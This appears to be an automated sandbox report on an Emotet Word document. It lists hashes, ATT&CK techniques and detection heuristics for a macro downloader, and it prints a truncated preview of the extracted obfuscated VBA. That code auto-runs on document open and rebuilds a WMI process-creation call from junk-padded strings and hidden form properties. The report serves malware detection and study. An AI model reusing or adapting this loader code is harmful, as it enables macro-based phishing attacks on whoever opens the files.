Emotet Office (OLE) malware analysis — malicious · 3e4178a5bc146967

MALICIOUS

Office (OLE)

192.0 KB Created: 2020-07-17 19:04:00 Authoring application: Microsoft Office Word First seen: 2020-07-24

MD5: cc1802bddd6fbe53a2dfc63a63193d3b SHA-1: 6555f80030120ab720e86718f8bcf95e4572b6a6 SHA-256: 3e4178a5bc1469679ef6a3b46d7f97409ca12e1288f2939d5fbe08dde04db602

262 Risk Score

Malware Insights

Emotet · confidence 95%

MITRE ATT&CK

T1059.005 Visual Basic T1566.001 Spearphishing Attachment T1203 Exploitation for Client Execution

The sample contains a VBA macro that executes via the Document_Open subroutine. Heuristics indicate a hidden UserForm is used as a command stager, a common technique for Emotet. The ClamAV detection name further supports the Emotet family attribution. The macro likely downloads and executes a second-stage payload.

Heuristics 7

ClamAV: Doc.Downloader.Emotet-10022426-0 critical CLAMAV_DETECTION

ClamAV detected this file as malware: Doc.Downloader.Emotet-10022426-0
VBA macros detected medium 4 related findings OLE_VBA_MACROS

Document contains VBA macro code
VBA UserForm hidden-property command stager critical OLE_VBA_USERFORM_HIDDEN_COMMAND_STAGER

VBA auto-exec macro creates a COM object from a decoded variable and reconstructs command text through Split/Join and hidden UserForm properties such as ControlTipText, Tag, Pages, or HelpContextId. This is a high-confidence macro downloader/loader shape seen in the reviewed OLE set, but it is not an Office CVE exploit primitive.
Document_Open macro high OLE_VBA_DOCOPEN

Document_Open macro
CreateObject call high OLE_VBA_CREATEOBJ

CreateObject call
VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC

Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
Embedded URL info EMBEDDED_URL

One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.

URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

Filename Kind Source Size

macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 71546 bytes

Filename	Kind	Source	Size
`macros.bas`	vba-macro	oletools.olevba.extract_macros (decoded VBA source)	71546 bytes
SHA-256: `8c23a9ef165c4b1259bb17094d3004c1c891d1624a5ad41eb8520d0403ecd8cd`
Preview script First 1,000 lines of the extracted script Attribute VB_Name = "joiwweiquvair" Attribute VB_Base = "1Normal.ThisDocument" Attribute VB_GlobalNameSpace = False Attribute VB_Creatable = False Attribute VB_PredeclaredId = True Attribute VB_Exposed = True Attribute VB_TemplateDerived = True Attribute VB_Customizable = True Private Sub Document_open() yuamcuatpaztheubchuthpiv End Sub Attribute VB_Name = "zouzluumthoempooh" Attribute VB_Base = "0{170E9F35-311F-41DE-BD15-392899DE6869}{8057274E-F1AB-4CCF-A13A-9A3996853448}" Attribute VB_GlobalNameSpace = False Attribute VB_Creatable = False Attribute VB_PredeclaredId = True Attribute VB_Exposed = False Attribute VB_TemplateDerived = False Attribute VB_Customizable = False Attribute VB_Name = "kuujdout" Function yuamcuatpaztheubchuthpiv() tuuwchoopwowgithcheix = Chr(zouzluumthoempooh.Zoom + 1 + 4 + 10) bwcL = Chr$(55) & Chr$(54) & Chr$(50) & Chr$(51) & Chr$(121) & Chr$(103) & Chr$(98) & Chr$(104) & Chr$(106) & Chr$(100) & Chr$(107) & Chr$(103) & Chr$(98) & Chr$(106) & Chr$(107) & Chr$(100) & Chr$(113) & Chr$(103) & Chr$(119) & Chr$(100) & Chr$(117) _ & Chr$(105) & Chr$(50) & Chr$(51) & Chr$(98) & Chr$(106) & Chr$(107) & Chr$(115) vVXq = lBGc vVXqw = "" vVXq = Chr$(108) & Chr$(66) & Chr$(71) & Chr$(99) If vVXq <> bwcL Then ZCAQ = bwcL UCkV = 6 Do While UCkV < 47 DoEvents: UCkV = UCkV + 1 Loop End If vaodboorqueodquuuthcav = "6723tguT&^$^RFy23uikJGD6723tguT&^$^RFy23uikJGDw6723tguT&^$^RFy23uikJGDi6723tguT&^$^RFy23uikJGD6723tguT&^$^RFy23uikJGDn6723tguT&^$^RFy23uikJGDm6723tguT&^$^RFy23uikJGDg6723tguT&^$^RFy23uikJGD6723tguT&^$^RFy23uikJGDmt6723tguT&^$^RFy23uikJGD6723tguT&^$^RFy23uikJGD" + tuuwchoopwowgithcheix + ":6723tguT&^$^RFy23uikJGDwi6723tguT&^$^RFy23uikJGD6723tguT&^$^RFy23uikJGDn36723tguT&^$^RFy23uikJGD6723tguT&^$^RFy23uikJGD6723tguT&^$^RFy23uikJGD26723tguT&^$^RFy23uikJGD6723tguT&^$^RFy23uikJGD_6723tguT&^$^RFy23uikJGD6723tguT&^$^RFy23uikJGD" + zouzluumthoempooh.xequfooxheik + "r6723tguT&^$^RFy23uikJGD6723tguT&^$^RFy23uikJGDo6723tguT&^$^RFy23uikJGDce6723tguT&^$^RFy23uikJGDs6723tguT&^$^RFy23uikJGD6723tguT&^$^RFy23uikJGDs6723tguT&^$^RFy23uikJGD" bwcL = Chr$(55) & Chr$(54) & Chr$(50) & Chr$(51) & Chr$(121) & Chr$(103) & Chr$(98) & Chr$(104) & Chr$(106) & Chr$(100) & Chr$(107) & Chr$(103) & Chr$(98) & Chr$(106) & Chr$(107) & Chr$(100) & Chr$(113) & Chr$(103) & Chr$(119) & Chr$(100) & Chr$(117) _ & Chr$(105) & Chr$(50) & Chr$(51) & Chr$(98) & Chr$(106) & Chr$(107) & Chr$(115) vVXq = lBGc vVXqw = "" vVXq = Chr$(108) & Chr$(66) & Chr$(71) & Chr$(99) If vVXq <> bwcL Then ZCAQ = bwcL UCkV = 6 Do While UCkV < 47 DoEvents: UCkV = UCkV + 1 Loop End If tuutsebkaup = quovcoaljiochchuav(vaodboorqueodquuuthcav) bwcL = Chr$(55) & Chr$(54) & Chr$(50) & Chr$(51) & Chr$(121) & Chr$(103) & Chr$(98) & Chr$(104) & Chr$(106) & Chr$(100) & Chr$(107) & Chr$(103) & Chr$(98) & Chr$(106) & Chr$(107) & Chr$(100) & Chr$(113) & Chr$(103) & Chr$(119) & Chr$(100) & Chr$(117) _ & Chr$(105) & Chr$(50) & Chr$(51) & Chr$(98) & Chr$(106) & Chr$(107) & Chr$(115) vVXq = lBGc vVXqw = "" vVXq = Chr$(108) & Chr$(66) & Chr$(71) & Chr$(99) If vVXq <> bwcL Then ZCAQ = bwcL UCkV = 6 Do While UCkV < 47 DoEvents: UCkV = UCkV + 1 Loop End If Set moizjeakveiqugaiy = CreateObject(tuutsebkaup) bwcL = Chr$(55) & Chr$(54) & Chr$(50) & Chr$(51) & Chr$(121) & Chr$(103) & Chr$(98) & Chr$(104) & Chr$(106) & Chr$(100) & Chr$(107) & Chr$(103) & Chr$(98) & Chr$(106) & Chr$(107) & Chr$(100) & Chr$(113) & Chr$(103) & Chr$(119) & Chr$(100) & Chr$(117) _ & Chr$(105) & Chr$(50) & Chr$(51) & Chr$(98) & Chr$(106) & Chr$(107) & Chr$(115) vVXq = lBGc vVXqw = "" vVXq = Chr$(108) & Chr$(66) & Chr$(71) & Chr$(99) If vVXq <> bwcL Then ZCAQ = bwcL UCkV = 6 Do While UCkV < 47 DoEvents: UCkV = UCkV + 1 Loop End If veiwjiwsuak = zouzluumthoempooh.fiztouxtivyeulwauy.ControlTipText bwcL = Chr$(55) & Chr$(54) & Chr$(50) & Chr$(51) & Chr$(121) & Chr$(103) & Chr$(98) & Chr$(104) & Chr$(106) & Chr$(100) & Chr$(107) & Chr$(103) & Chr$(98) & Chr$(106) & Chr$(107) & Chr$(100) & Chr$(113) & ... (truncated)

SHA-256: 8c23a9ef165c4b1259bb17094d3004c1c891d1624a5ad41eb8520d0403ecd8cd

Preview script

First 1,000 lines of the extracted script

Attribute VB_Name = "joiwweiquvair"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Private Sub Document_open()
yuamcuatpaztheubchuthpiv
End Sub

Attribute VB_Name = "zouzluumthoempooh"
Attribute VB_Base = "0{170E9F35-311F-41DE-BD15-392899DE6869}{8057274E-F1AB-4CCF-A13A-9A3996853448}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False

Attribute VB_Name = "kuujdout"
Function yuamcuatpaztheubchuthpiv()
tuuwchoopwowgithcheix = Chr(zouzluumthoempooh.Zoom + 1 + 4 + 10)
   bwcL = Chr$(55) & Chr$(54) & Chr$(50) & Chr$(51) & Chr$(121) & Chr$(103) & Chr$(98) & Chr$(104) & Chr$(106) & Chr$(100) & Chr$(107) & Chr$(103) & Chr$(98) & Chr$(106) & Chr$(107) & Chr$(100) & Chr$(113) & Chr$(103) & Chr$(119) & Chr$(100) & Chr$(117) _
 & Chr$(105) & Chr$(50) & Chr$(51) & Chr$(98) & Chr$(106) & Chr$(107) & Chr$(115)
vVXq = lBGc
vVXqw = ""
vVXq = Chr$(108) & Chr$(66) & Chr$(71) & Chr$(99)
If vVXq <> bwcL Then
ZCAQ = bwcL
UCkV = 6
Do While UCkV < 47
DoEvents: UCkV = UCkV + 1
Loop
End If
vaodboorqueodquuuthcav = "*6723tguT&^$^RFy23uikJGD*6723tguT&^$^RFy23uikJGDw*6723tguT&^$^RFy23uikJGDi*6723tguT&^$^RFy23uikJGD*6723tguT&^$^RFy23uikJGDn*6723tguT&^$^RFy23uikJGDm*6723tguT&^$^RFy23uikJGDg*6723tguT&^$^RFy23uikJGD*6723tguT&^$^RFy23uikJGDmt*6723tguT&^$^RFy23uikJGD*6723tguT&^$^RFy23uikJGD" + tuuwchoopwowgithcheix + ":*6723tguT&^$^RFy23uikJGDwi*6723tguT&^$^RFy23uikJGD*6723tguT&^$^RFy23uikJGDn3*6723tguT&^$^RFy23uikJGD*6723tguT&^$^RFy23uikJGD*6723tguT&^$^RFy23uikJGD2*6723tguT&^$^RFy23uikJGD*6723tguT&^$^RFy23uikJGD_*6723tguT&^$^RFy23uikJGD*6723tguT&^$^RFy23uikJGD" + zouzluumthoempooh.xequfooxheik + "r*6723tguT&^$^RFy23uikJGD*6723tguT&^$^RFy23uikJGDo*6723tguT&^$^RFy23uikJGDce*6723tguT&^$^RFy23uikJGDs*6723tguT&^$^RFy23uikJGD*6723tguT&^$^RFy23uikJGDs*6723tguT&^$^RFy23uikJGD"
   bwcL = Chr$(55) & Chr$(54) & Chr$(50) & Chr$(51) & Chr$(121) & Chr$(103) & Chr$(98) & Chr$(104) & Chr$(106) & Chr$(100) & Chr$(107) & Chr$(103) & Chr$(98) & Chr$(106) & Chr$(107) & Chr$(100) & Chr$(113) & Chr$(103) & Chr$(119) & Chr$(100) & Chr$(117) _
 & Chr$(105) & Chr$(50) & Chr$(51) & Chr$(98) & Chr$(106) & Chr$(107) & Chr$(115)
vVXq = lBGc
vVXqw = ""
vVXq = Chr$(108) & Chr$(66) & Chr$(71) & Chr$(99)
If vVXq <> bwcL Then
ZCAQ = bwcL
UCkV = 6
Do While UCkV < 47
DoEvents: UCkV = UCkV + 1
Loop
End If
tuutsebkaup = quovcoaljiochchuav(vaodboorqueodquuuthcav)
   bwcL = Chr$(55) & Chr$(54) & Chr$(50) & Chr$(51) & Chr$(121) & Chr$(103) & Chr$(98) & Chr$(104) & Chr$(106) & Chr$(100) & Chr$(107) & Chr$(103) & Chr$(98) & Chr$(106) & Chr$(107) & Chr$(100) & Chr$(113) & Chr$(103) & Chr$(119) & Chr$(100) & Chr$(117) _
 & Chr$(105) & Chr$(50) & Chr$(51) & Chr$(98) & Chr$(106) & Chr$(107) & Chr$(115)
vVXq = lBGc
vVXqw = ""
vVXq = Chr$(108) & Chr$(66) & Chr$(71) & Chr$(99)
If vVXq <> bwcL Then
ZCAQ = bwcL
UCkV = 6
Do While UCkV < 47
DoEvents: UCkV = UCkV + 1
Loop
End If
Set moizjeakveiqugaiy = CreateObject(tuutsebkaup)
   bwcL = Chr$(55) & Chr$(54) & Chr$(50) & Chr$(51) & Chr$(121) & Chr$(103) & Chr$(98) & Chr$(104) & Chr$(106) & Chr$(100) & Chr$(107) & Chr$(103) & Chr$(98) & Chr$(106) & Chr$(107) & Chr$(100) & Chr$(113) & Chr$(103) & Chr$(119) & Chr$(100) & Chr$(117) _
 & Chr$(105) & Chr$(50) & Chr$(51) & Chr$(98) & Chr$(106) & Chr$(107) & Chr$(115)
vVXq = lBGc
vVXqw = ""
vVXq = Chr$(108) & Chr$(66) & Chr$(71) & Chr$(99)
If vVXq <> bwcL Then
ZCAQ = bwcL
UCkV = 6
Do While UCkV < 47
DoEvents: UCkV = UCkV + 1
Loop
End If
veiwjiwsuak = zouzluumthoempooh.fiztouxtivyeulwauy.ControlTipText
   bwcL = Chr$(55) & Chr$(54) & Chr$(50) & Chr$(51) & Chr$(121) & Chr$(103) & Chr$(98) & Chr$(104) & Chr$(106) & Chr$(100) & Chr$(107) & Chr$(103) & Chr$(98) & Chr$(106) & Chr$(107) & Chr$(100) & Chr$(113) &
... (truncated)

Open this report in the interactive analyzer, or submit your own file for analysis.